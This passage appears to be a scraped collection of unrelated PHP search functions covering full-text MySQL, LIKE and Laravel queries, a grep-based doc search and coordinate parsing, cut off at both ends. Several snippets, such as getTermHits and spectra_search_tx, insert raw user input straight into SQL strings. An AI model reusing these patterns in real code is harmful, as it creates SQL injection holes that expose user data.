do_template('INDEX_SCREEN_FANCIER_SCREEN',array('TITLE'=>get_page_title('ADMIN_ZONE_SEARCH_RESULTS'),'EMPTY'=>$found_some?NULL:true,'ARRAY'=>true,'CONTENT'=>$content,'PRE'=>$pre,'POST'=>$post));\n\t}", "function createTextQuery($field, $searchValue) {\n\t\tSpotTiming::start(__FUNCTION__);\n\n\t\t//\n\t\t// FIXME \n\t\t// Sorteeren op rank, zie http://www.postgresql.org/docs/8.3/static/textsearch-controls.html\n\t\t//\n\t\t$queryPart = \" to_tsvector('Dutch', \" . $field . \") @@ '\" . $this->safe(strtolower($searchValue)) . \"' \";\n\n\t\tSpotTiming::stop(__FUNCTION__, array($field,$searchValue));\n\t\t\n\t\treturn array('filter' => $queryPart,\n\t\t\t\t\t 'sortable' => false); \n\t}", "protected function parse_search(&$q)\n {\n }", "public function createTextQuery($searchFields, $additionalFields)\n {\n SpotTiming::start(__CLASS__.'::'.__FUNCTION__);\n\n /*\n * Initialize some basic values which are used as return values to\n * make sure always return a valid set\n */\n $filterValueSql = [];\n $sortFields = [];\n $addFields = [];\n\n /*\n * MySQL's fultxt search has a minimum length of words for indexes. Per default this is\n * a minimum word length of 4. This means that a searchstring like 'Top 40' will not\n * be found because both 'Top' and '40' are shorter than 4 characters.\n *\n * We query the server setting, and if this is the case, we fall back to a basic LIKE\n * search because it has no such limitation\n */\n $serverSetting = $this->_db->arrayQuery(\"SHOW VARIABLES WHERE variable_name = 'ft_min_word_len'\");\n $minWordLen = $serverSetting[0]['Value'];\n\n //var_dump($searchFields);\n\n foreach ($searchFields as $searchItem) {\n $hasTooShortWords = false;\n $hasLongEnoughWords = false;\n $hasStopWords = false;\n $hasNoStopWords = false;\n $hasSearchOpAsTerm = false;\n $hasPhraseWithOnlyInvalids = false;\n\n $searchMode = 'match-natural';\n $searchValue = trim($searchItem['value']);\n $field = $searchItem['fieldname'];\n\n /*\n * Look at each individual word. If it is shorter than $minWordLen, we have to perform\n * a LIKE search as well\n *\n * We do not use splitWords() here, because we need to have the lengths of the\n * individual words not of the phrase search.\n *\n * There is one exception, if a phrase search contains ONLY stop words, we cannot\n * use the FTS at all so we should be aware of that.\n */\n $tempSearchValue = str_replace(['+', '-', '\"', '(', ')', 'AND', 'NOT', 'OR'], '', $searchValue);\n $termList = explode(' ', $tempSearchValue);\n foreach ($termList as $term) {\n if ((strlen($term) < $minWordLen) && (strlen($term) > 0)) {\n $hasTooShortWords = true;\n } // if\n\n if (strlen($term) >= $minWordLen) {\n $hasLongEnoughWords = true;\n } // if\n\n /*\n * If the term is a stopword (things like: the, it, ...) we have to\n * fallback to a like search as well.\n */\n if (in_array(strtolower($term), $this->stop_words) !== false) {\n $hasStopWords = true;\n } else {\n $hasNoStopWords = true;\n }// if\n } // foreach\n\n /*\n * remove any double whitespace because else the MySQL matcher will never\n * find anything\n */\n $searchValue = str_replace(' ', ' ', $searchValue);\n\n /*\n * MySQL has several types of searches - both boolean and natural matching for\n * FTS is possible.\n *\n * We try some heuristics to select the most appropriate type of search.\n * If a word starts with either an '+' or an '-', we switch to boolean match\n */\n $termList = $this->splitWords($searchValue);\n foreach ($termList as $term) {\n /*\n * We strip some characters because these are valid, but\n * can cause the system to not recognize them as operators.\n *\n * The string: \"(<test)\" is such an example -- we only check\n * the first character so we need to remove the parenthesis.\n */\n $strippedTerm = trim($term, \"()'\\\"\");\n\n /*\n * If after stripping the term of these characters, no string\n * is left, make sure we just abort the matching\n */\n if (strlen($strippedTerm) < 1) {\n continue;\n } // if\n\n /*\n * + and - are only allowed at the beginning of the search to\n * enforce it as an search operator. If they are in the\n * words themselves, we fall back to LIKE\n */\n if ((strpos($strippedTerm, '-') > 0) || (strpos($strippedTerm, '+') > 0) || (strpos($strippedTerm, '/') > 0)) {\n $hasSearchOpAsTerm = true;\n } // if\n\n /*\n * When there are boolean operators in the string, it's an\n * boolean search\n */\n if (strlen($strippedTerm[0]) > 0) {\n if (strpos('+-~<>', $strippedTerm[0]) !== false) {\n $searchMode = 'match-boolean';\n $strippedTerm = trim($strippedTerm, '+-');\n } // if\n }\n\n if (strlen(substr($strippedTerm, -1)) > 0) {\n if (strpos('*', substr($strippedTerm, -1)) !== false) {\n $searchMode = 'match-boolean';\n $strippedTerm = trim($strippedTerm, '*');\n } // if\n }\n\n if (strlen(substr($term, -1)) > 0) {\n if (strpos('\"', substr($term, -1)) !== false) {\n $searchMode = 'match-boolean';\n } // if\n }\n\n /*\n * We get the complete phrase here, we need to look into\n * the phrase terms, because if it only contains invalid terms\n * (eg: only stopwords, only shortwords, or a combination thereof),\n * we must disable the FTS completely.\n *\n */\n if ((!$hasPhraseWithOnlyInvalids) && ($term[0] == '\"')) {\n $tmpFoundValidTerms = false;\n\n $tmpTermList = explode(' ', $strippedTerm);\n foreach ($tmpTermList as $tmpTerm) {\n if (strlen($tmpTerm) >= $minWordLen) {\n if (in_array(strtolower($tmpTerm), $this->stop_words) === false) {\n $tmpFoundValidTerms = true;\n } // if\n } // if\n } // foreach\n\n if (!$tmpFoundValidTerms) {\n $hasPhraseWithOnlyInvalids = true;\n } // if\n } // if\n } // foreach\n\n // Actually determine the searchmode\n /*\n * Test cases:\n *\n * \t\t9th Company\n *\t\tUbuntu 11\n *\t\tTop 40\n *\t\t\"Top 40\"\n *\t\tSouth Park\n *\t\tSex and the city\n *\t\tRio\n *\t\t\"sex and the city 2\"\n *\t\tJust Go With It (fallback naar like, enkel stopwoorden of te kort)\n *\t\t\"Just Go With It\" (fallback naar like, en quotes gestripped)\n * +\"taken 2\" +(2012) (fallback naar like, en quotes gestripped - enkel stop woorden maar operators)\n *\t\t+empire +sun\n *\t\tx-art (like search because it contains an -)\n *\t\t50/50 (like search because it contains an /)\n * Arvo -Lamentate (natural without like)\n * +\"Phantom\" +(2013) <- Shouldn't use a LIKE per se\n * \"The Top\" <- Should use a LIKE as its only keywords\n * +\"Warehouse 13\" +S04 <- Shouldn't use a LIKE per se\n */\n\n if ($hasPhraseWithOnlyInvalids) {\n $searchMode = 'normal';\n } elseif (($hasTooShortWords || $hasStopWords) && ($hasLongEnoughWords || $hasNoStopWords) && (!$hasSearchOpAsTerm)) {\n if (($hasStopWords && !$hasNoStopWords) || ($hasTooShortWords && !$hasLongEnoughWords)) {\n $searchMode = 'normal';\n } else {\n $searchMode = 'both-'.$searchMode;\n } // else\n } elseif ((($hasTooShortWords || $hasStopWords) && (!$hasLongEnoughWords && !$hasNoStopWords)) || $hasSearchOpAsTerm) {\n $searchMode = 'normal';\n } // else\n\n /*\n echo 'hasStopWords : ' . (int) $hasStopWords . '<br>';\n echo 'hasLongEnoughWords : ' . (int) $hasLongEnoughWords . '<br>';\n echo 'hasTooShortWords : ' . (int) $hasTooShortWords . '<br>';\n echo 'hasNoStopWords : ' . (int) $hasNoStopWords . '<br>';\n echo 'hasSearchOpAsTerm : ' . (int) $hasSearchOpAsTerm . '<br>';\n echo 'hasPhraseWithOnlyInvalids : ' . (int) $hasPhraseWithOnlyInvalids . '<br>';\n echo 'searchmode : ' . $searchMode . '<br>';\n die();\n */\n\n /*\n * Start constructing the query. Sometimes we construct the query\n * both with a LIKE and with a MATCH statement\n */\n $queryPart = [];\n $matchPart = '';\n if (($searchMode == 'normal') || ($searchMode == 'both-match-natural') || ($searchMode == 'both-match-boolean')) {\n $splitted = $this->splitWords($searchValue);\n foreach ($splitted as $splittedTerm) {\n /*\n * If the term contains an boolean operator in the beginning,\n * strip it\n */\n $filteredTerm = trim($splittedTerm, '\"');\n $filteredTerm = ltrim($filteredTerm, '+-~<>');\n $filteredTerm = rtrim($filteredTerm, '*');\n\n if (!empty($filteredTerm)) {\n $filteredTerm = str_replace(' ', '_', $filteredTerm);\n $filteredTerm = stripslashes($filteredTerm);\n $filteredTerm = str_replace('\"', '', $filteredTerm);\n $filteredTerm = str_replace('+', '', $filteredTerm);\n $queryPart[] = ' '.$field.' LIKE '.$this->_db->safe('%'.$filteredTerm.'%');\n } // if\n } // foreach\n } // if\n\n if (($searchMode == 'match-natural') || ($searchMode == 'both-match-natural')) {\n /* Natural language mode always defaults in MySQL 5.0 en 5.1, but cannot be explicitly defined in MySQL 5.0 */\n $matchPart = ' MATCH('.$field.') AGAINST ('.$this->_db->safe($searchValue).')';\n $queryPart[] = $matchPart;\n } // if\n\n /*\n * Boolean searches with required or missing terms, will never match if the terms are\n * stopwords because stopwords are not in the index and cannot be found\n */\n if (($searchMode == 'match-boolean') || ($searchMode == 'both-match-boolean')) {\n $matchPart = ' MATCH('.$field.') AGAINST ('.$this->_db->safe($searchValue).' IN BOOLEAN MODE)';\n $queryPart[] = $matchPart;\n } // if\n\n /*\n * Add the textqueries with an AND per search term\n */\n $filterValueSql[] = ' ('.implode(' AND ', $queryPart).') ';\n\n /*\n * We add these extended textqueries as a column to the filterlist\n * and use it as a relevance column. This allows us to sort on\n * relevance\n */\n if ($searchMode != 'normal') {\n /*\n * if we get multiple textsearches, we sort them per order\n * in the system\n */\n $tmpSortCounter = count($additionalFields) + count($addFields);\n\n $addFields[] = $matchPart.' AS searchrelevancy'.$tmpSortCounter;\n\n $sortFields[] = ['field' => 'searchrelevancy'.$tmpSortCounter,\n 'direction' => 'DESC',\n 'autoadded' => true,\n 'friendlyname' => null, ];\n } // if\n } // foreach\n\n SpotTiming::stop(__CLASS__.'::'.__FUNCTION__, [$filterValueSql, $addFields, $sortFields]);\n\n //var_dump($filterValueSql);\n //var_dump($addFields);\n //var_dump($sortFields);\n //die();\n\n return ['filterValueSql' => $filterValueSql,\n 'additionalTables' => [],\n 'additionalFields' => $addFields,\n 'sortFields' => $sortFields, ];\n }", "public function query($term) {\n $matches = $this->getMatchesService('vienna',$term,array('showSyn'=>false,'NearMatch'=>false,'includeCommonNames'=>true));\n return $matches;\n }", "public function search($search);", "public function getSearch();", "function searchSQL ($aRequest) {\n $sVersion = DBUtil::getOneResultKey(\"SHOW VARIABLES LIKE 'version'\", \"Value\");\n if ((int)substr($sVersion, 0, 1) >= 4) {\n $boolean_mode = \"IN BOOLEAN MODE\";\n } else {\n $boolean_mode = \"\";\n }\n\n $p = array();\n $p[0] = \"MATCH(DTT.document_text) AGAINST (? $boolean_mode)\";\n\t$p[1] = KTUtil::phraseQuote($aRequest[$this->getWidgetBase()]);\n \n // handle the boolean \"not\" stuff.\n $want_invert = KTUtil::arrayGet($aRequest, $this->getWidgetBase() . '_not');\n if (is_null($want_invert) || ($want_invert == \"0\")) {\n return $p;\n } else {\n $p[0] = '(NOT (' . $p[0] . '))';\n } \n \n return $p;\n }", "public function search($query);", "function getTermHits($searchTerm,$organism_version_id){\n $searchTerm =trim($searchTerm);global $con;$hits=array();\n if(!$con)$con=getConnection();\n $query=\"select distinct t.transcript_id,transcript_name,t.gene_prediction_id from gene_by_annotation g, transcript_by_annotation t \n where gene_name ='$searchTerm' and g.organism_version_id=$organism_version_id and g.transcript_id=t.transcript_id\n and g.organism_version_id=t.organism_version_id\";\n $result = mysql_query($query,$con);\n if($result){\n while($row = mysql_fetch_assoc($result)){\n $hits[]=array('id'=>$row[\"transcript_id\"],\n 'name'=>$row[\"transcript_name\"],\n 'prediction_id'=>$row[\"gene_prediction_id\"]);\n }\n }\n if(count($hits)<=0){ \n $query=\"select distinct transcript_id,transcript_name,gene_prediction_id from transcript_by_annotation \";\n $query .=\" where transcript_name ='$searchTerm' and organism_version_id=$organism_version_id \";\n $result = mysql_query($query,$con);\n if($result){\n while($row = mysql_fetch_assoc($result)){\n $hits[]=array('id'=>$row[\"transcript_id\"],\n 'name'=>$row[\"transcript_name\"],'prediction_id'=>$row[\"gene_prediction_id\"]);\n }\n } \n }\n elseif(count($hits)<=0){ //check if cc founders transcript_name\n $query=\"select distinct t.transcript_id,t.transcript_name,t.gene_prediction_id \n from transcript_by_annotation t,cc_founders_transcripts c\n where c.transcript_name='$searchTerm' and t.organism_version_id=$organism_version_id and c.gene_prediction_id = t.gene_prediction_id \n and t.transcript_name=c.transcript_id \";\n $result = mysql_query($query,$con);\n if($result){ \n while($row = mysql_fetch_assoc($result)){ \n $hits[]=array('id'=>$row[\"transcript_id\"],\n 'name'=>$row[\"transcript_name\"],\n 'prediction_id'=>$row[\"gene_prediction_id\"]);\n }\n }\n }\n elseif(count($hits)<=0){ //check if cc founders gene_id\n $query=\"select distinct t.transcript_id,t.transcript_name,t.gene_prediction_id\"; \n $query.=\" from gene_by_annotation g,cc_founders_genes c,transcript_by_annotation t\n where c.gene_id ='$searchTerm' and c.gene_name=g.gene_name and g.gene_prediction_id=c.gene_prediction_id \n and g.organism_version_id=$organism_version_id and g.transcript_id=t.transcript_id \n and g.organism_version_id=t.organism_version_id \"; \n $result = mysql_query($query,$con);\n if($result){ \n while($row = mysql_fetch_assoc($result)){ \n $hits[]=array('id'=>$row[\"transcript_id\"],\n 'name'=>$row[\"transcript_name\"],\n 'prediction_id'=>$row[\"gene_prediction_id\"]);\n }\n }\n }\n return $hits;\n}", "public function matchedDocs()\n {\n return $this->_resVector;\n }", "private function staggeredSearch($inputArray = []) {\n $results = [];\n $exactMatchesResults = [];\n $pinyinResults = [];\n $translationResults = [];\n \n\n // Exact pinyin results, items that match exactly\n foreach ($inputArray as $inputItem) {\n\n $exactMatchesResults = \\App\\Character::where('pinyin', $inputItem)\n ->orWhere('pinyin_normalised', $inputItem)->orderBy('freq', 'asc')->get();\n\n // for each result in the above collections, add to results array\n\n foreach($exactMatchesResults as $result) {\n if (! in_array($result, $results)) {\n array_push($results, $result);\n }\n }\n }\n\n // pinyin results using \"like\" operator\n foreach ($inputArray as $inputItem) {\n \n $pinyinResults = \\App\\Character::where('pinyin', 'like', '%' . $inputItem .'%')\n ->orWhere('pinyin_normalised', 'like', '%' . $inputItem .'%')->orderBy('freq', 'asc')->get();\n\n // for each result in the above collections, add to results array\n\n foreach($pinyinResults as $result) {\n if (! in_array($result, $results)) {\n array_push($results, $result);\n }\n }\n }\n\n // translation and heisig results using \"like\" operator\n foreach ($inputArray as $inputItem) {\n\n $translationResults = \\App\\Character::where('heisig_keyword', 'like', '%' . $inputItem .'%')\n ->orWhere('translations', 'like', '%' . $inputItem .'%')\n ->orWhere('heisig_number', 'like', '%' . $inputItem .'%')->get();\n\n // for each result in the above collections, add to results array\n foreach($translationResults as $result) {\n if (! in_array($result, $results)) {\n array_push($results, $result);\n }\n }\n }\n\n return $results;\n }", "public function search($text)\n {\n return $this->select('results.resultId', 'events.name as eventId', 'pilots.name as pilotId', 'results.position', 'results.notes')\n ->join('events', 'events.eventId', '=', 'results.eventId')->join('pilots', 'pilots.pilotId', '=', 'results.pilotId')\n ->where('pilots.name', 'LIKE', $text . '%')->orWhere('events.name', 'LIKE', $text . '%')->orWhere('results.resultId', '=', $text)->get();\n }", "public function textsearch(Request $request)\n {\n $data = Tags::where([[\"name\",\"LIKE\",\"%{$request->input('query')}%\"],\n ['container_type', \"=\", 'ad']\n ])->get();\n return response()->json($data);\n }", "function findKeyword() {\n \n }", "public function searchTitles()\n\t{\n\t\t$this->connectToDatabase();\n\t\t$query = \"CALL albumTitlesSelect(\".\n\t\t\t$this->page->escapeSQL($this->mysqli).\",\".\n\t\t\t$this->listingsLength->escapeSQL($this->mysqli).\",\".\n\t\t\t$this->keyword->escapeSQL($this->mysqli).\",\".\n\t\t\t$this->contentProperties->id->escapeSQL($this->mysqli).\",\".\n\t\t\t\"@total_matches);SELECT CAST(@total_matches AS UNSIGNED) as `total_matches`\";\n\t\t$data = $this->fetchRecordsNonExhaustive($query);\n\t\tif (!$data) {\n\t\t\tthrow new ResourceNotFoundException(\"Error retrieving album titles.\");\n\t\t}\n\t\t/* get record count from sproc results */\n\t\t$this->getSprocPageCount();\n\t\treturn ($data);\n\t}", "public function search()\n\t{\n\t\t\n\t}", "static function searchArtists($search){\n $search = \"%\".$search.\"%\";\n $req = \"SELECT *\n FROM \".DB::$tableArtists.\"\n WHERE `nom_artist` LIKE :query\n LIMIT 0 , 7\";\n $query = DB::$db->prepare($req);\n $query->bindParam(':query', $search, PDO::PARAM_STR);\n $query->execute();\n $result = [];\n while($data = $query->fetch()){\n $Artist = new Artist();\n $Artist->id = $data['id_artist'];\n $Artist->name = $data['nom_artist'];\n\n $result[] = $Artist;\n }\n return $result;\n }", "function ml_wpsearch_search($querytext)\n{\n $querytext = trim($querytext);\n if (!$querytext) {\n return [null, null, null];\n }\n\n $results = ml_wpsearch_search_query($querytext, array(\n 'start' => isset($_REQUEST['start']) ? $_REQUEST['start'] : 1,\n 'pageLength' => isset($_REQUEST['pageLength']) ? $_REQUEST['pageLength'] : 10,\n ));\n if (null === $results)\n {\n return [null, null, null];\n }\n\n if ($results->getTotal() < 1) {\n return [$results, null, null];\n }\n\n // Paging, we'll provide the URLs here, but it's up to the view\n // to display them.\n $searchPageUrl = ml_wpsearch_url();\n $nextLink = null;\n if ($results->getCurrentPage() < $results->getTotalPages()) {\n $nextLink = add_query_arg(array(\n 's' => urlencode($querytext),\n 'start' => $results->getNextStart(),\n 'pageLength' => $results->getPageLength(),\n ), $searchPageUrl);\n }\n\n $prevLink = null;\n if ($results->getCurrentPage() > 1) {\n $prevLink = add_query_arg(array(\n 's' => urlencode($querytext),\n 'start' => $results->getPreviousStart(),\n 'pageLength' => $results->getPageLength(),\n ), $searchPageUrl);\n }\n\n return [$results, $nextLink, $prevLink];\n}", "public static function searchDocs($searchString, $startOffset=0)\n {\n $docsDir = Help::getDocsDirectory();\n\n $wordList = array_unique(explode(' ', $searchString));\n $originalWordsList = array();\n foreach ($wordList as $index => $word) {\n $word = preg_replace('/[^a-z0-9_-]/i', '', $word);\n $len = strlen($word);\n if ($len > 3) {\n // Only keep words that has more than 3 characters and remove the\n // last character from the word. This is a simple way to match plurals\n // (e.g. \"goals\" will match \"goal\" and \"test\" will match \"tes\").\n $originalWordsList[] = $word;\n $wordList[$index] = substr($word, 0, -1);\n } else if ($len < 3) {\n unset($wordList[$index]);\n } else {\n $originalWordsList[] = $word;\n }\n }\n\n if (empty($wordList) === TRUE) {\n return self::_getSearchResultsPage($wordList, $originalWordsList);\n }\n\n $words = implode('|', $wordList);\n $sedWords = implode('\\|', $wordList);\n\n // Search articles and glossary file contents.\n $cmd = 'grep -iE \".*('.$words.').*\" '.$docsDir.'* | sed -n -e \"s/<[^>]*>//g\" -e \"/'.$sedWords.'/p\" | awk -F : \\'{print $1}\\' | uniq | grep -E \".*/(article|glossary)-.*\"';\n\n $contentResults = array();\n exec($cmd, $contentResults);\n\n // Search articles and glossary file names.\n $cmd = 'find '.$docsDir.' -regextype posix-egrep -iregex \".*/(article|glossary)-.*('.$words.').*\" -print';\n\n $fileNames = array();\n exec($cmd, $fileNames);\n\n $rawSearchResults = array();\n foreach ($contentResults as $filePath) {\n $matches = array();\n $contents = file_get_contents($filePath);\n $contents = strip_tags($contents);\n $numMatches = preg_match_all('/.*\\b('.$words.').*/imU', $contents, $matches);\n $numWords = str_word_count($contents);\n $score = ((ceil($numMatches / ($numWords * 100)) * 2) + $numMatches);\n\n $rawSearchResults[basename($filePath)] = $score;\n }\n\n $fileScore = 5;\n foreach ($fileNames as $filePath) {\n $fileName = basename($filePath);\n $matches = array();\n $numMatches = preg_match_all('/.*('.$words.').*/iU', $fileName, $matches);\n\n if (isset($rawSearchResults[$fileName]) === FALSE) {\n $rawSearchResults[$fileName] = ($numMatches * $fileScore);\n } else {\n $rawSearchResults[$fileName] += ($numMatches * $fileScore);\n }\n }\n\n if (empty($rawSearchResults) === TRUE) {\n return self::_getSearchResultsPage($wordList, $originalWordsList);\n }\n\n arsort($rawSearchResults);\n\n $contents = self::_getSearchResultsPage($searchString, $originalWordsList, $rawSearchResults, $startOffset);\n return $contents;\n\n }", "function find_points($text)\n{\n\t$DEGREES_SYMBOL \t\t= '[°|º]';\n\t$MINUTES_SYMBOL\t\t\t= '(\\'|’)';\n\t$SECONDS_SYMBOL\t\t\t= '(\"|\\'\\'|’’|”)';\n\t\n\t$INTEGER\t\t\t\t= '\\d+';\n\t$FLOAT\t\t\t\t\t= '\\d+(\\.\\d+)?';\n\t\n\t$LATITUDE_DEGREES \t\t= '[0-9]{1,2}';\n\t$LONGITUDE_DEGREES \t\t= '[0-9]{1,3}';\n\t\n\t$LATITUDE_HEMISPHERE \t= '[N|S]';\n\t$LONGITUDE_HEMISPHERE \t= '[W|E]';\n\n\t$hits = array();\n\t\n\tif (preg_match_all(\"/\n\t\t(?<latlon>\n\t\t(?<latitude_degrees>$LATITUDE_DEGREES)\n\t\t$DEGREES_SYMBOL\n\t\t\\s*\n\t\t(?<latitude_minutes>$FLOAT)\n\t\t$MINUTES_SYMBOL?\n\t\t\\s*\n\t\t(\n\t\t(?<latitude_seconds>$FLOAT)\n\t\t$SECONDS_SYMBOL\n\t\t)?\n\t\t\\s*\n\t\t(?<latitude_hemisphere>$LATITUDE_HEMISPHERE)\n\t\t,?\n\t\t(\\s+-)?\n\t\t;?\n\t\t\\s*\n\t\t(?<longitude_degrees>$LONGITUDE_DEGREES)\n\t\t$DEGREES_SYMBOL\n\t\t\\s*\n\t\t(?<longitude_minutes>$FLOAT)\n\t\t$MINUTES_SYMBOL?\n\t\t\\s*\n\t\t(\n\t\t(?<longitude_seconds>$FLOAT)\n\t\t$SECONDS_SYMBOL\n\t\t)?\n\t\t\\s*\n\t\t(?<longitude_hemisphere>$LONGITUDE_HEMISPHERE)\n\t\t)\n\t\t\n\t/xu\", $text, $matches, PREG_OFFSET_CAPTURE))\n\t{\n\t\tprint_r($matches);\n\t\t\n\t\t$n = count($matches[0]);\n\t\tfor ($i = 0; $i < $n; $i++)\n\t\t{\n\t\t\t$hit = new stdclass;\n\t\n\t\t\t$hit->mid = $matches['latlon'][$i][0];\n\t\n\t\t\t$hit->start = $matches['latlon'][$i][1];\n\t\t\t$hit->end = $hit->start + mb_strlen($hit->mid, mb_detect_encoding($hit->mid)) - 1;\n\t\t\t\n\t\t\t// convert to pair of decimal (lat,long) coordinates\n\t\t\t\n\t\t\t$keys = array(\n\t\t\t\t'latitude_degrees',\n\t\t\t\t'latitude_minutes',\n\t\t\t\t'latitude_seconds',\n\t\t\t\t'latitude_hemisphere',\n\t\t\t\t'longitude_degrees',\n\t\t\t\t'longitude_minutes',\n\t\t\t\t'longitude_seconds',\n\t\t\t\t'longitude_hemisphere'\n\t\t\t\t);\n\t\t\t\t\n\t\t\t$m = array();\n\t\t\tforeach ($keys as $k)\n\t\t\t{\n\t\t\t\t$m[$k] = $matches[$k][$i][0];\n\t\t\t}\n\t\t\t\n\t\t\t$point = toPoint($m);\n\t\t\t$hit->text = $point['latitude'] . ',' . $point['longitude'];\n\t\t\t\n\t\n\t\t\t$hit->text .= \" [Open Street Map]\"\n\t\t\t\t. '('\n\t\t\t\t. 'http://www.openstreetmap.org/?mlat=' \n\t\t\t\t. $point['latitude'] \n\t\t\t\t. '&mlon=' \n\t\t\t\t. $point['longitude']\n\t\t\t\t. '&zoom=4'\n\t\t\t\t. ')';\n\n\t\t\t$hit->text .= \" [Google Maps]\"\n\t\t\t\t. '('\n\t\t\t\t. 'http://maps.google.com/?q=' \n\t\t\t\t. $point['latitude'] \n\t\t\t\t. ',' \n\t\t\t\t. $point['longitude']\n\t\t\t\t. '&ll='\n\t\t\t\t. $point['latitude'] \n\t\t\t\t. ',' \n\t\t\t\t. $point['longitude']\t\t\t\t\n\t\t\t\t. '&z=6'\n\t\t\t\t. ')';\n\n\t\t\t$hit->text .= \"\\n![Map]\"\n\t\t\t\t. '('\n\t\t\t\t. 'https://maps.googleapis.com/maps/api/staticmap?' \n\t\t\t\t. 'size=200x200'\n\t\t\t\t. '&maptype=terrain'\n\t\t\t\t. '&markers='\n\t\t\t\t. $point['latitude'] \n\t\t\t\t. ',' \n\t\t\t\t. $point['longitude']\n\t\t\t\t. '&zoom=6'\n\t\t\t\t. ')';\n\t\t\n\t\t\t$hit->type = \"latlon\";\n\t\t\t$hits[] = $hit;\n\t\t}\n\t}\n\t\n\t//print_r($hits);\t\n\treturn $hits;\n}", "function spectra_search_tx ($search_text)\n\t{\n\t\techo \"\t\t<h2> Transaction Search Results: </h2> \\n\\n\";\n\n\t\t$tx = mysqli_getset ($GLOBALS[\"tables\"][\"tx\"], \"`txid` LIKE '%\".$_POST[\"searchtext\"].\"%'\");\n\n\t\tif (!isset ($tx[\"data\"]) || $tx[\"data\"] == \"\")\n\t\t{\n\t\t\techo \"\t\t<p class=\\\"search_dark\\\"> No Matching Transaction Records </p> \\n\\n\";\n\t\t}\n\n\t\telse\n\t\t{\n\t\t\techo \"\t\t<p class=\\\"search_dark\\\"> Transaction IDs Containing \\\"\".substr ($_POST[\"searchtext\"], 0, 32).\" ...\\\": </p> \\n\\n\";\n\n\t\t\tforeach ($tx[\"data\"] as $transaction)\n\t\t\t{\n\t\t\t\techo \"\t\t<p> \\n\";\n\t\t\t\techo \"\t\t<a href=\\\"tx.php?tx=\".$transaction[\"txid\"].\"\\\" title=\\\"Transaction Detaiil Page\\\"> \\n\";\n\t\t\t\techo \"\t\t\t\".$transaction[\"txid\"].\"\\n\";\n\t\t\t\techo \"\t\t</a> \\n\";\n\t\t\t\techo \"\t\t</p> \\n\\n\";\n\t\t\t}\n\t\t}\n\t}", "function findDocument(){\r\n\t\r\n\t\r\n\t\r\n\t//get the value form the textbox\r\n\tif ( ! empty($_GET['searchTextBox']) && isset($_GET['page']) && $_GET['page']==1){\r\n\t\t\r\n\t\tsession_start();\r\n\t\t$_SESSION['docNames'] = json_decode(file_get_contents('docIndex.json'), true);\r\n\t\t\r\n\t\t//read the stopwords\r\n\t\t$stopWords = file_get_contents(\"StopWords.txt\");\t\t\r\n\t\t$postingList = json_decode(file_get_contents('PL.json'), true);//$_SESSION['PL'];\r\n\t\t$stopW = explode(\" \",$stopWords);\r\n\t\t\r\n \t$query = $_GET['searchTextBox'];\r\n\t\t\r\n\t\t//clean the query\r\n\t\t$query = preg_replace(\"/[^a-zA-Z ]/\",\"\",$query);\r\n\t\t\r\n\t\t//change everything to lowercase\r\n\t\t$query = strtolower($query);\r\n\t\t$query = trim($query);\t\t\r\n\t\t$query = preg_replace(\"/\\s+$/\",\" \",$query);\r\n\t\t//echo $query;\r\n\t\t\r\n\t\t//parse the query\r\n\t\t$qTemp = explode(\" \",$query);\r\n\t\t$qArray = array();\r\n\t\t$j = 0;\r\n\t\t\r\n\t\t//remove stop words\r\n\t\tfor($i=0;$i<count($qTemp);$i++){\r\n\t\t\tif(!in_array($qTemp[$i],$stopW)){\r\n\t\t\t\t$qArray[$j] = $qTemp[$i];\r\n\t\t\t\t$j++;\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t}\r\n\t\t\r\n\t\t//print_r($qArray);\r\n\t\t$_SESSION['queryFinal'] = $qArray;\r\n\t\t\r\n\t\tif(count($qArray)==0 || !array_key_exists($qArray[0],$postingList)){\r\n\t\t\t\techo \"</br>\";\r\n\t\t\t\techo \"No Results Found\";\r\n\t\t\t\texit (0);\r\n\t\t}\r\n\t\telse{\r\n\t\t\t$docIndex = $postingList[$qArray[0]][\"token\"];\r\n\t\t\t\r\n\t\t\t//collect document index\r\n\t\t\tfor($i=1;$i<count($qArray);$i++){\r\n\t\t\t\tif(!array_key_exists($qArray[$i],$postingList)){\r\n\t\t\t\t\techo \"</br>\";\r\n\t\t\t\t\techo \"No Results Found\";\r\n\t\t\t\t\texit (0);\r\n\t\t\t\t}\r\n\t\t\t\t$tempIndex = $postingList[$qArray[$i]][\"token\"];\r\n\t\t\t\t$docIndex = array_intersect($docIndex,$tempIndex);\r\n\t\t\t}\r\n\t\t}\r\n\t\t$_SESSION['docIndex'] = array_values($docIndex);\r\n\t\t$_SESSION['numD'] = count($docIndex);\r\n\t\techo \"<br />\";\r\n\t\techo $_SESSION['numD'].\",000,000\".\" results\";\r\n\t\techo \"<br /><br />\";\r\n\t\t//print_r($_SESSION['docIndex']);\r\n\t\t//exit(0);\r\n\t\r\n\t\treturnDoc();\r\n\t}\t\r\n\telse if(isset($_GET['page'])){\r\n\t\tsession_start();\r\n\t\techo \"<br />\";\r\n\t\techo $_SESSION['numD'].\",000,000\".\" relevant results\";\r\n\t\techo \"<br /><br />\";\r\n\t\treturnDoc();\r\n\t}\r\n\t\r\n}", "public function search($searched) \n {\n// $ads = $this->where('isValid', true)->groupStart()->like('title', $searched)->groupEnd()->groupStart()\n// ->orLike('text', $searched)->groupEnd()->findAll();\n $ads = $this->like('title', $searched)\n ->orLike('text', $searched)->findAll();\n \n $i = 0;\n foreach ($ads as $ad)\n {\n if ($ad->isValid == false)\n {\n unset($ads[$i]);\n }\n $i++;\n }\n \n return $ads;\n }", "function decode_highlight_search_results( $text ) {\n if ( is_search() ) {\n \t$sr = get_search_query();\n\t\t$keys = implode( '|', explode( ' ', get_search_query() ) );\n\t\tif ($keys != '') { // Check for empty search, and don't modify text if empty\n\t\t\t$text = preg_replace( '/(' . $keys .')/iu', '<mark class=\"search-highlight\">\\0</mark>', $text );\n\t\t}\n }\n return $text;\n}", "public function searchByKeyword($query);", "function searchByKeyword($searchTerm) {\n $searchTerm=striptags(htmlspecialchars($searchTerm));\n $query=\"SELECT * FROM ads WHERE description LIKE '%{$searchTerm}%'\";\n }", "public function onContentSearch($text, $phrase='', $ordering='', $areas=null)\n\t{\n\t\trequire_once JPATH_SITE.'/components/com_smfaq/helpers/route.php';\n\t\trequire_once JPATH_SITE.'/components/com_smfaq/router.php';\n\t\t\n\t\t$text = trim($text);\n\t\tif ($text == '') {\n\t\t\treturn array();\n\t\t}\t\t\n\t\t\n\t\t$db = JFactory::getDbo();\n\t\t$limit\t= $this->params->get('search_limit', 50);\n\t\t$result_link = $this->params->get('result_link', 1);\n\t\t\n\t\tswitch 